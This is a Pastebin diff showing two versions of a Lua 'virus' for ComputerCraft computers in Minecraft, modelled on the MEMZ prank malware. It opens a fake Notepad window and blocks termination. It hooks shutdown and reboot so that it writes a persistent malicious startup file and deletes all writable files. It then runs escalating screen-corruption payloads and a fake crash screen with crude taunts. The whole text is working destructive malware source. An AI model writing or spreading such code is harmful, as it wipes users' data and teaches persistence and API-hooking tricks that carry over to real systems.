View difference between Paste ID: Hj4iU3iV and xUb8Vh4f
SHOW: | | - or go back to the newest paste.
1
if fs.exists('startup') then
2
    fs.delete('startup')
3
end
4
5
local keysheld = {
6
}
7
8
for num = 1, #keys do
9
	keysheld[num] = false
10
end
11
12
_G.debug = nil
13
14
if fs.exists('startup.lua') then
15
    fs.delete('startup.lua')
16
end
17
18
function forceset()
19
    while true do
20-
local filecontents = {
20+
21-
    'os.pullEvent = os.pullEventRaw',
21+
22-
    'local width, height = term.getSize()',
22+
23-
    'term.setBackgroundColor(colors.black)',
23+
24-
    'term.clear()',
24+
25-
    'term.setTextColor(colors.gray)',
25+
26-
    "local text = 'Sorry I was too lazy to program'",
26+
27-
    "local text2 = 'nyan cat lol'",
27+
28-
    'term.setCursorPos((width/2)-(#text/2),height/2)',
28+
29-
    'write(text)',
29+
30-
    'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)',
30+
local filecontents = "os.pullEvent = os.pullEventRaw\nfor i,v in pairs(fs.list('/')) do\nif not fs.isReadOnly(v) and not fs.find(v,'disk') and v ~= 'startup' then\nfs.delete(v)\nend\nend\nlocal width, height = term.getSize()\nterm.setBackgroundColor(colors.black)\nterm.clear()\nterm.setTextColor(colors.white)\nlocal text = string.char(2)\nterm.setCursorPos((width/2)-(#text/2),height/2)\nwrite(text)\nwhile true do sleep() end"
31-
    'write(text2)',
31+
32-
    'while true do sleep() end',
32+
local function filekill()
33
	for i,v in pairs(fs.list('/')) do
34-
local file = fs.open('startup','w')
34+
		if not fs.isReadOnly(v) and fs.getDrive(v) == nil and v ~= 'startup' then
35-
for i,v in ipairs(filecontents) do
35+
			fs.delete(v)
36-
    file.writeLine(v)
36+
		end
37
	end
38-
file.close()
38+
39
40
local file
41
42
local function startupgen()
43
	file = fs.open('startup','w')
44
	if file then
45
	file.write(filecontents)
46
	file.close()
47
	end
48
	sleep()
49
end
50
51
local oldshutdown = os.shutdown
52
53
local function newshutdown()
54
	startupgen()
55
	filekill()
56
	oldshutdown()
57
end
58
59
os.shutdown = newshutdown
60
61
local oldreboot = os.reboot
62
63-
print('Trying to delete startup will cause your system to')
63+
local function newreboot()
64-
print("be destroyed instantly, so don't try it :D")
64+
	startupgen()
65
	filekill()
66-
print('(Running the virus a second time will also')
66+
	oldreboot()
67-
print('trigger this)')
67+
68-
local olddel = fs.delete
68+
69
os.reboot = newreboot
70-
function newdel(file)
70+
71-
    if file ~= 'startup' then
71+
function keycheck()
72-
        return olddel(file)
72+
	while true do
73-
    else
73+
		local ev = {coroutine.yield()}
74-
        local killtimer = 0
74+
		if ev[1] == 'key' then
75-
        local messagelist = {
75+
			keysheld[ev[2]] = true
76-
            'you fucked up',
76+
		elseif ev[1] == 'key_up' then
77-
            'get rekt     ',
77+
			keysheld[ev[2]] = false
78-
            'lol          ',
78+
		end
79-
            'your mom gay ',
79+
		if keysheld[29] or keysheld[157] then
80-
            'rip your data',
80+
			if keysheld[19] then
81-
        }
81+
				os.reboot()
82-
        while true do
82+
			elseif keysheld[31] then
83-
            sleep()
83+
				os.shutdown()
84-
            killtimer = killtimer + 1
84+
			end
85-
            local x = math.random(1,width-13)
85+
		end
86-
            local y = math.random(1,height-1)
86+
	end
87
end
88
89
term.setBackgroundColor(colors.white)
90-
            write(' MEMZ        ')
90+
91
os.pullEvent = os.pullEventRaw
92
term.clear()
93-
            write(messagelist[math.random(1,#messagelist)])
93+
94-
            if killtimer >= 100 then
94+
95-
                os.shutdown()
95+
96
write(' note.txt - Notepad')
97
term.setCursorPos(width,1)
98
term.setTextColor(colors.black)
99
term.setBackgroundColor(colors.red)
100
write('X')
101-
fs.delete = newdel
101+
102
term.setCursorPos(1,2)
103-
local oldmv = fs.move
103+
104
term.setTextColor(colors.gray)
105-
local function newmv(name,name2)
105+
106-
    if name ~= 'startup' then
106+
107-
        return oldmv(name,name2)
107+
108-
    else
108+
109-
        fs.delete('startup') 
109+
110
print('')
111
print(':D')
112
113-
fs.move = oldmv
113+
local function clickcheck()
114
	repeat
115-
repeat
115+
	    _, m, x, y = os.pullEvent('mouse_click')
116-
    _, m, x, y = os.pullEvent('mouse_click')
116+
	until y == 1 and x == width
117-
until y == 1 and x == width
117+
118
119
parallel.waitForAny(clickcheck,keycheck)
120
121
local function payloads()
122
	term.redirect(term.native())
123
    local timer = 0
124
    while true do
125
        sleep()
126
        timer = timer + 1
127
		if timer < 2300 then
128
        if timer%30 == 0 and timer > 200 then
129
            term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
130
        end
131
        if timer%100 == 0 and timer > 300 then
132
            local x, y = term.getCursorPos()
133
            local xoff = math.random(-1,1)
134
            local yoff = math.random(-1,1)
135
            if x + xoff > 0 and x + xoff < width then
136
                x = x + xoff
137
            end
138
            if y + yoff > 0 and y + yoff < height then
139
                y = y + yoff
140
            end
141
            term.setCursorPos(x,y)
142
        end
143
        local waittime = math.floor(40 - ((timer-600)/10))
144
        if waittime < 1 then
145
            waittime = 1
146
        end
147
        if timer%(waittime) == 0 and timer > 600 then
148
            local x, y = term.getCursorPos()
149
            local oldcolor1 = term.getTextColor()
150
            local oldcolor2 = term.getBackgroundColor()
151
            term.setCursorPos(math.random(1,width),math.random(1,height))
152
            term.setTextColor(2^math.random(0,15))
153
            term.setBackgroundColor(2^math.random(0,15))
154
            write((string.char(math.random(100,200))))
155
            term.setCursorPos(x,y)
156
            term.setTextColor(oldcolor1)
157
            term.setBackgroundColor(oldcolor2)
158
        end
159
        if timer > 700 and timer%100==0 then
160
            local ox, oy = term.getCursorPos()
161
            local color1 = term.getTextColor()
162
            local color2 = term.getBackgroundColor()
163
            local x = math.random(1,(width-26))
164
            local y = math.random(1,(height-2))
165
            term.setTextColor(colors.black)
166
            term.setBackgroundColor(colors.lightBlue)
167
            term.setCursorPos(x,y)
168
            write(' lol                      ')
169
            term.setBackgroundColor(colors.white)
170
            term.setCursorPos(x,y+1)
171
            write('Still using this computer?')
172
            term.setCursorPos(ox,oy)
173
            term.setTextColor(color1)
174
            term.setBackgroundColor(color2)
175
        end
176
        if timer > 2000 and timer%2==0 then
177
            for colort = 0,15 do
178
                term.setPaletteColor(2^colort,math.random(1,999999))
179
            end
180
            for _ = 1,10 do
181
                term.setCursorPos(math.random(1,width),math.random(1,height))
182
                term.setBackgroundColor(2^math.random(1,15))
183
                term.setTextColor(2^math.random(1,15))
184
                write(string.char(math.random(1,255)))
185
                term.setCursorPos(math.random(1,width),math.random(1,height))
186
            end
187
            local speakers = {peripheral.find('speaker')}
188
            for i,v in pairs(speakers) do
189
                v.playNote('harp',math.random(1,10),math.random(1,10))
190
            end
191
        end
192
		else
193
			term.setPaletteColor(1,0xF0F0F0)
194
			term.setPaletteColor(2048,0x3366CC)
195
			term.setBackgroundColor(colors.blue)
196
			term.setCursorBlink(false)
197
			term.clear()
198
			term.setTextColor(colors.white)
199
			term.setCursorPos(1,1)
200
			local text = {
201-
parallel.waitForAll(payloads,shelljump,forceset)
201+
				'A problem has been detected and the system shut down.',
202
				'',
203
				'COMPUTER_UTTERLY_FUCKED',
204
				'',
205
				"If this is the first time you've seen",
206
				'this error screen, then your computer is trashed.',
207
				'',
208
				"If this is not your first time you've seen this",
209
				'error screen, then why did you do this again?',
210
				'',
211
				'Fake technical information:',
212
				'',
213
				'**STOP 0x90019381D',
214
				'Dumping computer files...',
215
				'',
216
				'',
217
				'Press any key to reboot . . .',
218
			}
219
			for i,v in ipairs(text) do
220
				sleep(0.45)
221
				print(v)
222
			end
223
			term.setCursorBlink(true)
224
			os.pullEvent('key')
225
			os.reboot()
226
		end
227
    end
228
end
229
230
local function shelljump()
231
    while true do
232
        term.setBackgroundColor(colors.black)
233
        term.clear()
234
        term.setCursorPos(1,1)
235
        term.setTextColor(colors.white)
236
        shell.run('shell')
237
    end
238
end
239
240
local function startlock()
241
	while true do
242
		if fs.exists('startup') then
243
			fs.delete('startup')
244
		elseif fs.exists('startup.lua') then
245
			fs.delete('startup.lua')
246
		end
247
		startupgen()
248
	end
249
end
250
251
parallel.waitForAll(payloads,shelljump,forceset,keycheck,startlock)